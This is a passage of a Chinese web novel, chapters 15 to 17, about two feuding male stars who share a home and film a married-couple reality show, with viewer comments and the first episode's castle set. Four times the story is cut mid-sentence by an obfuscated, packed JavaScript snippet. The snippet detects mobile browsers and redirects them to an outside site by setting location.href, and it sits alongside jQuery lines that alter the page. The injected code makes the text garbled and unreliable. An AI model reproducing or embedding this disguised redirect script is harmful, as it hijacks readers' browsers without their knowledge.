顾听舟被他这饱含深意的一眼吓得一个激灵,当即往后退了数步,反手拧开了浴室门重新钻了回去。 草。 骚不过,骚不过。 长着张万年冰块脸的人面不改色地说这种调戏别人的话,实在是先天优势,他先跑为敬。 等到再出门时,顾听舟显然收敛了许多,睡袍也穿上了,带子也系好了,比起平时在他自己家里随意又凌乱,连整理都懒得多扯两下的衣领,这下也规规矩矩地理平了。 骚不过他还躲不过吗? 于是这场意外最终以顾听舟报仇不成反被调戏最终难得安分了一晚上的结局收了尾。 但安分归安分,顾听舟只是选择了默默远离这个原本脸皮就厚,结果不知道什么时候突然直接变态了的“房东”兼前死对头,该同居还是得同居。 但显然,两个人能一杠就杠上20年,不是一时一刻收敛了就能真的做到和谐相处的。 尤其是在他们两个人的作息习惯完全天差地别的情况下。 时间转眼就到了深夜12点。 卧室里关了灯,一片黑漆漆。易淮江躺在床上,双手交叠着贴在腹部,却依旧尚未入睡。 作为演员,时常有拍夜戏、熬通宵的排戏需要,但只要在正常的休息日,易淮江向来严格规范作息,准点睡准时起,生物钟准得可怕,甚至连闹钟都不需要。 对于正常情况下最晚不超过11点就上床睡觉的易淮江而言,12点已经很晚了。 然而此时此刻,在他的余光中,左手边床下的某处却依旧泛着点点幽光。 卧室中的另一个人显然还没有睡觉的打算。 易淮江终于忍不住开口:“顾听舟。” 顾听舟正带着耳机看游戏实况,隐约能听见有人说话,于是略带迟疑地摘了一边耳机,探头看了眼床上躺着的人,小声试探:“易淮江?” 易淮江无声叹了口气,问他:“你打算几点睡?” 顾听舟摁灭了手机,有些心虚地摸了摸鼻子:“你明早有工作?” “没有。” 顾听舟心头一松,刚刚凝起的一点负罪感登时烟消云散,他把耳机重新带上,不紧不慢地打了个哈欠,懒洋洋道:“我一般夜里不睡觉。” 易淮江:“……” 易淮江张了张嘴,但半晌还是选择闭上了自己的眼睛,只当自己看不见。 而在床的左侧,被窝里躺着的顾听舟扭头瞥了他一眼,还是默默把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16842517|191342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手机亮度调到了最低。 毕竟是在别人家里,顾听舟在心里给自己找了个台阶下,而且调个亮度而已,本来晚上看太亮的就对眼睛不好,就当是为了保护眼睛了。 直到一场实况直播结束,顾听舟才重新摘了耳机,扭头看了看床上躺着的某人。 认识20年,他到今天才发现易淮江的睡姿这么……规矩? 这是真睡着了还是在装睡?顾听舟忍不住在心里嘀咕。 易淮江躺得比钢板还板正安详,既不屈腿也不摆手,端端正正地面朝天花板的睡姿,顾听舟皱了皱鼻子,他光是看着都难受。 探头探脑地观察了好一会儿。见易淮江似乎真没动静,顾听舟这才又翻了回去,背朝着大床,缩在被窝里继续百无聊赖地划着手机。 一直到天蒙蒙亮,连卧室的窗帘都透了几缕光,顾听舟才略显艰难地打了个哈欠,一歪脑袋睡了过去。 * 早晨七点。 易淮江的生物钟依旧十分准时,作息也严谨得可怕。 看了眼房间里躺着的另一个人,易淮江简单叠了叠被子,犹豫了会儿,还是没拉窗帘,直接离开卧室去了外面的浴室洗漱。又从衣帽间里随便挑了套衣服换上,紧接着直接去了健身室。 晨练完,易淮江重新洗了把脸,接着十分自然地进了厨房。想了想还是做了两份早餐,吃完了自己那份,接着又扎进了书房,继续研读剧本。 没有需要外出工作的休息日,易淮江的作息和行动安排一向规律,今天也大差不差。 而唯一的变数,还在他的卧室里呼呼大睡。 时间一分一秒地过去,窗外的日光也越来越亮,等到易淮江终于从工作中抽离出来时,时间已经来到了上午十点四十几分。 而卧室里某个昨晚刚放了狠话说自己夜里不睡觉的人,确实到现在还没有要醒的迹象。 起码到现在,卧室里依旧没有半点动静。 易淮江拿起手机,看了眼节目组上午九点发来的新消息,沉默了一会,最终还是走进了卧室。 “顾听舟。” 易淮江在他身边蹲下,伸手拽了拽他怀里抱着的小熊玩偶:“起床了。” 被叫的人显然十分有一百分的不情愿,连怀里被其他人挟持的玩偶都毅然决然地舍弃了,独自翻了个身缩进了被窝里,继续装鸵鸟。 易淮江见他还要再睡,直接掀了他的被子。 顾听舟闭着眼,睡意汹涌,还没来得及重新入睡,忽然就被微凉的空气扑了满怀。 某道讨人嫌的声音紧跟着响起,听起来比一拥而上的冷空气还凉上三分:“你还有两个小时。” “下午一点钟,节目组会派人来安装机位。” 起床气稳步攀升的顾听舟迷迷糊糊见听到这个消息,原本就压不住的脾气这下更是火上浇油了。 眼睛都没还没来得及睁开,手已经先一步有了动作,速度飞快地从枕头边随手捞了个玩偶就往发出“噪音”的方向砸了过去。 他睡得不爽,动作也带着气,闭着眼睛砸人竟然还颇有准头,易淮江略有些头疼地接住了突然飞来的玩偶。 “上学迟到也就算了。”易淮江抛了抛手里的玩偶,又拿去搔他露在被子外的小半张脸,“十一点了,顾听舟,你赖床的脾气怎么一点都没改?” 15. 薄荷冷香 “你也知道不是上学啊。”顾听舟总算睁开了眼,皱着眉试图扯回被掀开的被角,“他们要来就来呗,反正是你家,你去开个门不就好了。实在不行你就把卧室锁上。” “卧室也要装。” “装就装……”顾听舟总算反应了过来,啪地一下从被窝里坐起来,起床气都来不及管了,“卧室也装?!” 易淮江:“节目组发的通知,你不信可以自己看手机。” 顾听舟当即从枕头底下翻出了自己的手机,摁下开机键,没亮。 坏了? 顾听舟不死心地尝试长按,手机屏幕终于开始发亮,但还没等他松口气,紧接着就跳出了“电量不足”的高亮提醒。 顾听舟:“……” 熬夜熬太久,忘给手机充电了。 易淮江瞟了一眼他重新黑下去的屏幕,把自己的手机递过去给他看:“我说你经纪人怎么找到我这来了。睡一觉还能把手机睡没电。” 把人叫醒,易淮江此行的目的圆满完成,也就没再在卧室里呆着。 顾听舟从行李箱里翻出数据线给手机充上电,等到洗漱完刚好足够开机,嫌数据线不方便,于是一边等着开机动画播完,一边又换上了充电宝。 一开机,手机就叮叮咚咚响了好一阵。把那些乱七八糟的广告一键清空,顾听舟先确认了一番威廉转发给他的消息,确认节目组真的要来后,痛苦地回了个表情包表示收到。 刚发出去没多久,威廉的电话就打了进来。 “舟舟,你手机怎么关机了?是不是出什么事了?” “没什么,就是忘充电了。” 威廉松了口气:“那就好那就好。”他想了想又觉得不对,“我给你带充电器了呀,充电宝也拿了,应该就放在行李箱的夹层里,没找到吗?” 顾听舟:“忘了。” 威廉:“……” 威廉无言以对,只好换了个话题,和他重点强调了一遍节目组安装机位的具体要求:“镜头外随便你们,但是镜头前,咱们虽然说已经不奢望你俩能求恩恩爱爱了,但最起码也稍微和谐一点好不好?” “每次你俩碰面我都怕什么时候往你俩中间溅颗火星子,你俩能当场动个手。” 顾听舟:“?” 他和易淮江杠归杠,虽然看对方不爽,但从来都不动手的好吧? 顾听舟试图宽慰自家想象力过剩的经纪人:“威廉,你有没有听过一句话,叫‘士别三日当刮目相待’,现在的我已经不是曾经的我了……” 威廉迟疑着开口:“舟舟,杀人犯法……” 顾听舟额角青筋忍不住重重跳了下,咬着后槽牙道:“我是说,我和易淮江暂时达成合作了!” “你脑子里一天到晚都在想些什么不正经的东西!”顾听舟无语,“少操点乱七八糟的心。” 威廉深感欣慰,考虑到明天就要正式开始录制,又拉着他交代了一堆注意事项,来来去去无非是注意安全、记得按时吃饭之类的,顾听舟左耳朵进右耳朵出,倒也没打断他。 等到终于挂了电话出门,就见易淮江坐在客厅的沙发上,手里捧着剧本正在写笔记,一副熟悉的三好学生样。 顾听舟的起床气虽迟但到,对他这幅三好学生的做派依旧十分不爽,一边从他背后溜溜达达地走进了厨房,一边扬声问:“易淮江,你家有没有吃的?” 还没等易淮江回答,顾听舟就从微波炉里翻出了个三明治,包着保鲜膜,戳上去还温热。 顾听舟颇为惊奇地拿着那个三明治出了厨房,问易淮江:“你早餐吃过了对吧?” 按这人的习惯,既然起了床,一般不可能不吃早餐。 果不其然,易淮江点了头:“吃了。” 顾听舟举起那个和他巴掌差不多大的三明治在眼前晃了晃:“这是给我留的?” 易淮江依旧若无其事地点头:“对。” 顾听舟更加惊奇了,和平相处竟然还能有这个待遇? 也是让他过上饭来张口的日子了。 他低头看了看用料丰富,一看就知道绝对难吃不到哪里去的三明治,沉默了一会后,还是动手拆了三明治上用来包装的保鲜膜,一边拆一边没忍住嘀咕出了声:“应该没毒吧……?” 保鲜膜被揭开,培根的肉香和面包的麦香同时飘了起来,顾听舟本来就没吃早餐,又一口气睡到中午,早就饿了,当即咬了一口。 他嘀咕的声音不大,但还是被易淮江听见了,一抬头,却看见某个上一秒还在怀疑自己下毒的人下一秒就毫不犹豫地咬了一大口三明治。 易淮江:“……有毒你还吃?” 顾听舟“嘁”了声,顺手扯了一块面包塞他嘴里:“好了,这下要死一起死。”然后十分不见外地一边咬着三明治一边窝进了沙发,又从口袋里摸出了手机,紧接着点开了外卖页面。 刷新了地址定位后,顾听舟一边翻着周围这些没怎么吃过的店铺,一边顺口问了句易淮江中午打算吃什么。 易淮江看了看他,又看了看他手里还在啃的三明治,眼神里透着明晃晃的质疑:“你确定你还吃得下?” 顾听舟瞥了他一眼,语气得意:“爸爸吃不胖,你就羡慕吧。” 易淮江自认自己做三明治的时候绝对没有偷工减料,试图劝说:“暴饮暴食容易伤胃。” “爱吃不吃。”顾听舟不听,找了家评分还不错的店下了单,接着把付款成功的界面亮给他看,“少管。” 两人吃完午饭没多久,节目组的工作人员就带着等待安装的摄影机上门了。因为节目组已经和经纪人们沟通过安装事宜,两人便没再插手。固定机位的师傅动作麻利,没过多久就结束了工作,结合了屋里的布局,几个摄像头基本能把从卧室起床到出门的一系列动态全部录下。 工作人员临走前交代道:“这些用来录素材的摄影机都是音画同步的,明天会有节目组的专车来接两位老师,所以随身话筒什么的需要等上车之后再戴。” “另外,正式录制会从明早七点开始,方便后期剪素材。同步直播则会在明早八点钟开启。” “这些摄像头虽然是远程遥控的,但节目组签过保密协议,绝对不会泄漏拍摄素材。如果两位老师不放心,也可以先适应一下,只要不影响拍摄就行。” 易淮江点点头,开门把人送了出去。 两人重新回到卧室,看着墙上那个几乎能把整个卧室收入眼底的摄像头,顾听舟心如死灰。 明早七点,这些摄像头就会开始拍摄。 也就是说,他和易淮江今晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16842518|191342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必须睡在一张床上,才能保证明早被拍到的时候不露馅。 可是、可是…… 顾听舟心里纠结得不行。 在节目上当着一堆摄像头和工作人员的面,住在一起也就算了,反正也不是只有他们两个睡在同一张床上。 但是现在这房子里只有他和易淮江两个人啊! 虽说他们都是男人,睡在一张床上怎么也不会少块肉,但是…… 顾听舟真情实感地发愁了一下午,洗完澡后回到卧室门口,忍不住对着那扇虚掩着的卧室门气冲冲地瞪了眼。 都怪易淮江。 要不是他昨天突然骚起来说什么投怀送抱、已婚夫夫的鬼话,他现在也不至于这么纠结! 咬了咬牙,顾听舟摸了摸了口袋里的手机和充电宝。要是真睡不着,大不了他就熬个通宵,一个晚上不睡应该也没什么问题…… 可等他推门走进卧室,下意识瞟向墙上的摄像头时,脚步却猛地顿住了。再一扭头,就发现今早刚被藏进衣柜里的地铺又被易淮江拖了出来,重新铺了一遍。 顾听舟大为震撼,指着摄像头上挂着的外套:“这……能行吗?” 易淮江不紧不慢地把临时摆在床头柜上的玩偶堆到了床上,好笑道:“你能不能先想想你的身份,顺便再想想我的身份?” ……一向不耍大牌的顾顶流沉默了,欲言又止地打量了一遍易影帝,又看了看自己,忽然恍然大悟,眼睛一眯:“易淮江,你上高中的时候当学生会主席不会也是为了这个吧?” 这人高中的时候当了多久的学生会主席就抓了自己多久,顾听舟能成为一高至今少有的前脚刚念完扣分检讨,后脚又从口袋里翻出年级第一演讲的不良学霸,少不了易淮江的一份“功劳”。 “……”易淮江沉默了两秒,决定跳过这个不利于和平共处的问题,于是把手里的最后一个玩偶丢到他怀里,“今晚你睡床,我睡地铺。” “为什么?”顾听舟下意识问了句,反应过来后又接着茶里茶气地道,“这是不是不太好啊,毕竟是你家。” 易淮江瞥他一眼,从善如流:“也行。那你设个闹钟,明天七点和我一起起床。” 顾听舟瞳孔地震:“七点???不行不行不行,你这是在要我的命!” 七点起床,还不如让他直接通宵。 易淮江一脸“我就知道会是这样”的表情,看了眼被衣服挡住的摄像头:“总不能让节目组一点素材都拍不到。” 顾听舟想想也是。他要是睡地上,明天七点绝对起不来,总不能让镜头拍他睡在地铺上的画面吧?这么想着,顾听舟也就缓缓走到了床边,钻进了被窝里。 磨磨蹭蹭地纠结了一晚上的问题,忽然就被易淮江理直气壮地强行解决了,顾听舟有些庆幸,却又有点不太想承认。 易淮江家里的备用床具不多,一套还在阳台上吹着风,另外两套,一套在床上,一套铺在了地上。因此虽然换了位置,床单和被罩却都没换,顾听舟只是翻了个身,却仿佛被那股凛冽的薄荷味包围,不论怎么努力,都没法忽视。 原本就不正常的作息,这下彻底被扰乱,顾听舟试图通过睡觉逃避,不知道过了多久才终于进入梦乡。 结果连梦境都被阴魂不散的薄荷侵占了个彻底。 16. 新婚燕尔 -开门开门开门开门开门 -人在地铁,上班前让我磕一口球球了! -前面的别跑,我也是 -江舟99[心][心][心] -难得不痛苦的早八,不准黑屏,我要看小情侣啊啊啊啊 临近八点,直播间里的弹幕刷得密密麻麻,路过吃瓜的,期待磕糖的,还有不少趁机安利CP或某位嘉宾的,场面一度混乱。 直到手机屏幕上方的数字跳到八点整,直播间里原本漆黑一片的镜头忽然一闪,紧接着,三个窗口同步亮了起来。 《恋爱百分百》节目组原本就财大气粗,又天降馅饼签到了近期热度爆表的易淮江和顾听舟这对夫夫,以这对夫夫首次同框参与综艺的噱头,极其顺利地拿到了斗鱼平台的最佳推广位和首页推送。 为了保证看直播的观众观感,节目组十分端水的在直播间里开了三个窗口,每个窗口各代表一对已婚夫夫或夫妻,镜头会跟随者嘉宾行动由监视器前的工作人员进行调整,进入直播间的观众可以自由选择观察心仪的情侣。 而因此错过的其他情侣互动,想看的观众只能再去蹲守后续上线的录播剪辑版本。 镜头从客厅一路房间内部推进,在其他两个窗口陆续出现嘉宾后,最后一个还在拍空镜的窗口在线人数瞬间起飞。 画面再次跳转,下一秒,一张高冷淡漠的俊脸便出现在了镜头中央。 直播间里的弹幕瞬间刷得飞快,层层叠叠地把画面挡得严丝合缝,而镜头前的易淮江对此一无所知,正低头看着手里的包装袋。 -易哥在看什么? -好大的厨房,慕了,易哥每天会在三百平的床上醒来吗 -前面的你要笑死我 -要煮馄饨吗,我好像看见左上角的红色商标了 易淮江垂眸,视线在包装上的"三鲜"字样上掠过,弯腰从冰箱里换了一袋。锅里的水已经烧开,易淮江估摸着煮了两人份的量,想了想,还是又加了半份。 热气腾腾的馄饨出锅时,节目组的摄像和工作人员也刚好踩着点按响了门铃。 负责推进流程的工作人员跟在摄像身后进了门,在客厅看了一圈,终于代替网友们问出了弹幕上目前刷的最多的问题。 “易老师,顾老师呢?” 易淮江自然道:“他起得比较晚。” 工作人员指了指桌上两碗馄饨,笑着小声问道:“是不是差不多可以叫顾老师起床了?” 易淮江摸出手机看了眼时间,点点头,率先转身走向了卧室。摄像扛着机器,带着直播间里一众好奇心爆棚的网友尽职尽责地紧随其后。 易淮江缓步走到卧室门口,抬手在门上不轻不重地叩了两下:“舟舟。”叫完,又在门上敲了两下。 房间内无人应声,只有一声似有若无的闷响一响而过。 -好奇怪…… -叫起床为什么不进卧室,感觉好生疏啊,你们真的是夫夫吗? -我应该没听错?好像有什么东西摔了 -不会是gtz吧、、、 -舟舟一米八四谢谢!掉地上声音绝对不会这么小 -开门啊你倒是,在门外叫有个鬼用 -易哥昨晚被赶去睡沙发了? 易淮江听见那声闷响就知道里面的人还没醒,以防万一又敲了敲门,给足了里面半睡不醒的某人缓冲时间。 但在直播间里的网友可不知道他的想法,见两人生疏到连门都不敢进,当即就有黑子下场开始搅混水,一边装成顾听舟和易淮江的唯粉互相讨伐,一边装成路人质疑两人的感情,演得真情实感,黑得不遗余力。 随行的工作人员和摄影都是可以实时接收到直播间动向的,在听到导播间的简述后,对视一眼,却也没敢开口。 易淮江不紧不慢地等了会,见顾听舟依旧没有起床的打算,瞥了眼身后的摄影机,眉梢微挑。 这可不是他故意的。 易淮江推开门,长腿一迈就坦坦荡荡进了卧室,摄影反应稍快,见状当即扛着机器紧紧跟上。 易淮江动作自然地从地板上捡起了某只原本要砸他身上的玩偶,走到床边时,随手放在了顾听舟的枕边。 顾听舟一手扯着被子挡过头顶,一手搂着不知道什么时候从床头柜上扯下来的葫芦,显然是起床气正上头,连看都没看一眼自己随手扯来的是个什么,就抱得紧紧的。 易淮江垂眸,不着痕迹地侧过身挡住了大半镜头,伸手拽了两把他怀里的葫芦玩偶。 “顾听舟,起床了。” 摄像机还拍着,易淮江没直接掀被子。至少被子还能挡一挡这人的起床气,要真全让摄像机拍下来,等顾听舟清醒过来怕是能羞愤到直接毁约。 顾听舟睡得一点都不好,梦里梦外,冰冰凉凉的薄荷香气就像是成了精一样穷追不舍。易淮江一靠近,本就睡得迷迷糊糊,鼻间的薄荷味这下愈发浓烈,还带着熟悉的杜松香,眼睛都不用睁就知道是谁。 顾听舟困得不行,又做了一晚上噩梦,起床气一触即发,可潜意识里又记着今天有重要的事,不能随便吵架,只得伸手在半空中胡乱拍了两下,皱着眉头赶人。 “易淮江你有完没完……”他嘟嘟嚷嚷地抱怨,“这两天我就没睡过一个好觉!” 他起床气正上头,闭着眼赶人的时候理直气壮得不行,偏偏人又没醒透,声音虽然大,却含糊在嘴里,带着点没睡醒的哑意,仅剩的那几分气势也被冲散,听起来不像生气,更像是黏黏糊糊的撒娇。 两人新婚燕尔,易淮江早早起床在厨房准备了清淡热乎的早餐,连开门都小心翼翼的,再加上顾听舟这显然还没睡醒,脱口而出半埋怨半撒娇的语气,直播间里原先还对两人关系颇为怀疑的网友当即换了口风。 -我错了我忏悔,这对绝对是真的 -啊啊啊啊啊易哥闹什么了,舟舟别睡了,球细说! -友危速讲!!! -这对画风这么刺激的吗,道德在哪里,底线在哪里,过程在哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16842519|191342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里!! 偏偏直播安排在了早上八点,一众打工人刚刚乘上地铁到达工位,有早八课的学生们也都半死不活地等着课堂签到,要么怨气冲天要么大脑还在宕机,满脑子都还在“我是谁我在哪我为什么要起床地球能不能爆炸”的不停循环,顾听舟一句话直接给直播间原本默默潜水的人全都炸了出来。 然后这段互动毫不意外地被广大骤然精神了的网友们再次抬上了热搜,眨眼便直飞热搜榜第一,直播间也涌来了更多从微博吃瓜赶来的好奇网友。 导演坐在导播间里,看着刚开播就上了热一的热搜词条和转发量超高的营销号录屏剪辑,笑得见牙不见眼:“幸好当初给这两位递了本子,这热搜根不要钱一样,真好。” 而与此同时,好不容易被易淮江催醒了的顾听舟,迷迷瞪瞪地起了床,稀里糊涂地刷牙洗脸换了衣服,云里雾里地吃完了一碗味道还不错的小馄饨,还没反应过来,就被连人带行李箱一块打包送上了飞机。 直到在飞机上补足了觉,重新坐上节目组送行的车,顾听舟终于想起自己早上说了些什么,耳根霎时变得滚烫。 易淮江坐在他身边,颇为好笑地观察了一路,余光瞥见骤然红了的耳垂,知道他这是反应过来了,伸手点了点他的手背。 顾听舟羞愤欲绝。有了上次半夜微博的前车之鉴,他都不用看直播间也能猜到那群看热闹不嫌事大的网友绝对又语出惊人地说些什么带颜色的话来了。此时此刻,他只想找个地缝钻进去,或者随机搭艘火箭先去月球冷静冷静。 但手背上某人冰凉凉的指尖不依不饶地点了又点,烦死个人,顾听舟没忍住拍开了他的手,抬头没好气地瞪了他一眼。 易淮江随手关掉了身上的随身话筒,低声道:“初初,这锅我真背不了。” 顾听舟:“……” 初什么初,初初是你能叫的吗! 顾听舟又瞪他,但到底还是没反驳他的话。他自己作息混乱,白天不醒晚上不睡,真论起来这锅确实不是易淮江的。 但最起码也是个从犯。顾听舟心烦意乱地伸手把他试图试探军情的手拍开:“起开,动手动脚的像什么样子。” 话一出口,顾听舟就顿住了,带着点侥幸心理迟疑地往腰间瞄了眼。 收音盒绑在他身上,显示着“工作中”的高亮指示灯正一闪一闪地欢快跳着。 顾听舟:“……” 毁灭吧我现在跳车是不是还来得及? 他表情都写在脸上,易淮江坐得近,看得一清二楚,想了想还是忍着笑安慰了一句:“放心,至少威廉和白哥知道你的真实想法。” 他眼底的笑意一闪而过,但和他相处了这么多年的顾听舟又怎么会察觉不出来? 就知道跟这人走近了没什么好事,这冰块脸竟然还有脸嘲笑他?!顾听舟愤愤扭过了脸,决意下车之前都绝不再和易淮江说一句话。 顾听舟暗暗磨了磨后槽牙,反正热搜也不是我一个人上的,要社死大家一起社死。 17. 两眼一黑 不知道过了多久,节目组安排的车才终于在一个其貌不扬的隧道前停下。灰扑扑的洞口前立着个格外与众不同的粉色logo路牌,写着“GoGoGo”。 “顾老师,易老师,我们可以下车了。”工作人员提醒道,又再次确认了一遍他们身上的话筒状态。 这个山洞的位置格外刁钻,站在洞口的位置往山后看,视线被挡得严严实实,身后则是一望无际的荒山野岭,半点有用的信息都没有。 顾听舟提着行李箱下车,没忍住转头看向跟拍摄像,问道:“第一期是打算录野外求生?” 摄影师举着机器左右摇了摇表示不知道,顾听舟只好转回头看向黑黢黢的隧道。 “走了。” 易淮江从身后走上来,手里拖着另一只行李箱,依旧是那副超脱淡然的模样。 又装。顾听舟默默在心里腹诽,但路就这么一条,他也只能抬脚跟上。 隧道看着深不见底,实际并不算长,只是一路上的照明灯零零散散分布得恰到好处,打造出了一副阴森恐怖的氛围。 两人一路无话,没多久便抵达了隧道另一头,出入的洞口贴合尺寸精心修了扇大门,门上画了和年轮一样的纹路,还缠着几根藤蔓。 搞得神神秘秘的。 顾听舟没打算在这昏暗的隧道里久留,当即伸手,一把推开了那扇门。 门一开,视线豁然开朗,可眼前的景致却让两个人脚步都不由自主地顿了顿。 顾听舟欲言又止,半晌才艰难地用胳膊肘拐了拐边上站着的易淮江:“……节目组有说过要搞这么大阵仗吗?” 顾听舟入行几年,凭着得天独厚的颜值,凡是稍微讲究点颜值的题材都争着请他,几年下来对于剧组各种豪掷千金的大制作早已见惯不惯。 但眼前这座坐落于荒郊野岭的城堡小镇,还是让他忍不住惊叹了下。 石砖大道干干净净地蜿蜒向远方,道路两旁错落着高矮不一的中世纪建筑,用色却干净又纯真,繁复华美得像是专门为某个童话故事准备的精致舞台。 拖着行李箱,两人沿着地上的指示牌来到隧道外早已等候多时的马车前,上了车,顾听舟一边观察着周围的环境,一边拉着车夫打扮的n/p/c套线索。 等到马车在小镇上最大、最豪华的城堡前停下时,顾听舟已经基本摸清楚了这个背景设定。 简单来说,这里是个与世隔绝的童话小镇,设定里有国王,有王室继承人,还有各种王公贵族,小镇上的所有人每天都会按时工作、休息,活得简单幸福。 城堡外站着两排着装统一的士兵,目不斜视地面对着面站在大门两侧。等到顾听舟和易淮江走近,为首那个士兵才跨步出列,礼仪标准地为他们打开了城堡的大门。 像是误入了某个大型沉浸式剧本杀现场……顾听舟有些可惜早上没好好收拾一番,起码也穿得正式一点。他衣柜里倒是还真有几套祝女士一时兴起定制的童话风晚礼服,只是一直没机会穿。 走进城堡,金碧辉煌的装修差点没把顾听舟眼睛晃花了,还没来得及仔细看看,就听见长长的阶梯上方传来热情的招呼声。 “舟哥!易老师!我们在这儿!” 顾听舟循声抬头,铜制的围栏后一字排开站了四个人,都正朝着楼梯下的他们招手。 顾听舟抬手也朝他们挥了挥:“马上就来。” 行李箱被一旁等候的工作人员扣下,顾听舟乐得一身轻松,上了步梯后先和带头欢迎他们的那位男嘉宾打了个招呼。 “好久不见。”顾听舟笑着和他击了个掌,“谈了这么多年终于领证了?” 傅乐天憨笑着挠了挠头:“她当初还是超一线的金牌女歌手就敢和我官宣,我怎么也不能丢她的脸嘛。”说着,拉了拉自己老婆,给两人正式介绍了下。 和顾听舟、易淮江两人不同,傅乐天和许黎这对是好几年前就官宣过的情侣,许黎作为创作型歌手,才华和唱功个个出挑,可谓是红极一时,却在热度最高的时候忽然在微博官宣了和当时还只是个小三线的傅乐天的恋情。 微博服务器一如既往地先崩为敬,情势却和“江舟”CP大相径庭。树大招风,恋情公开后,不少人开始唱衰,造谣许黎“准备回归家庭”,抹黑傅乐天吸血上位。但两人显然都不是省油的灯,许黎依旧年年轻松包揽金曲奖前三,傅乐天也在成功转型后终于拿到了人生中第一个奖。两人连结婚的喜讯都是通过《恋爱百分百》的预告片公布的。 许黎腼腆地笑了笑,也跟着傅乐天叫“舟哥”,顾听舟摆了摆手,对小两口不知道打哪来的崇敬之情照单全收:“办婚礼的时候记得给我留份请柬就好,到时候给你们送份大礼。” 傅乐天人如其名,是个大大咧咧的阳光男孩,和顾听舟也是在演某部青春校园剧时认识的,顾听舟也拿他当朋友。 “婚礼?”三人招呼才打了没两句,边上另两位生面孔也十分自来熟地凑了过来,其中一位男生戴着眼镜,笑起来眼睛弯弯像只小狐狸,“是谁要办婚礼了么?” 顾听舟点了点跟条大狗一样腻着许黎的傅乐天,笑道:“说他俩呢,恋爱都谈了几年了今年总算是有情人终成眷属了。”说着,他又把视线转回到眼镜小狐狸身上,“边竹?” “我看过你们的综艺,原本还以为是粉丝们磕着玩的。”他看了看边竹身边的男人,打趣似的挑了挑眉,“窝边草怎么样?” 这一对也是同性情侣,在他和易淮江官宣后不久,也跟着官宣了结婚的消息。算起来还帮了他一把,稳住了网友们对“同性婚姻”的新鲜感,让威廉后续的清尾工作也轻松了不少。 边竹被他的打趣说得有些不好意思,连忙转移话题,拉着另一半跟顾听舟做了自我介绍。他和邓秉述出道比在场几位嘉宾都晚,人气也不高,节目组会邀请他们,也只是刚好他们是在易老师和顾老师之后官宣的第一对明星夫夫。 两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16842520|191342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人在综艺里一直是团队的精神支柱,性格好还时常照顾团里的其他成员,也被CP粉们戏称为“父母爱情”。顾听舟和他们聊了聊,只觉得身心舒畅。 果然人和人之间的差距是不足以用想象力来衡量的!这两人的说话艺术怎么听都只让人觉得舒心,不像某个开口就气人的冰块脸。 顾听舟想着,终于想起来往身侧瞥了眼。 此时直播间里的弹幕已经快要笑疯了。 -舟舟啊还聊呢,你老攻快酸死了你倒是闻闻啊 -hhhh什么望妻石,易某某平时有这么生人勿近吗xswl -新鲜的易哥!你倒是说话啊,光盯着老婆就不会跑了是吗 -危险危险危险——[音符emoji] 这人平时就一副冷冰冰的样子,顾听舟只当他是本性暴露,碍于镜头的面只能偷偷摸摸地扯了扯易淮江的袖子,扭头看他。 易淮江入行比在场几人都早,又有各种奖项在手,虽然年轻,但也是实打实的前辈,在场嘉宾没有不知道他的,见他不说话,便也只是简单点了点问好。 此时见顾听舟拽他,他才终于开口。 “聊完了?” 顾听舟奇怪地看他一眼,目光不解。易淮江走近,反手握住了他扯着自己袖口的手:“舟舟,不帮我介绍介绍?” 你有这演技你还上什么婚综谈什么恋爱?顾听舟也不清楚夏导要求到底是高到什么离谱的程度,可明明易淮江演起来一套一套的,动作也是十分熟练,就这还不进组? 顾听舟没好气地偷偷甩了甩他紧扣着不放的手:“好好说话。”然而不仅没甩开,某人还变本加厉地贴着他的手来了个十指相扣。 顾听舟麻了,扭头瞪他:演戏就演戏,能不能别老动手动脚的? 易淮江冲他挑了挑眉,眼神在另外两对情侣或抱着或牵着的手上轻飘飘转了一圈。 顾听舟:“……” 现成的两个例子摆在眼前,顾听舟无话可说,只好顺着易淮江的话给另外四人重新介绍了一遍。 等到六人差不多熟悉了些,执行导演终于姗姗来迟。 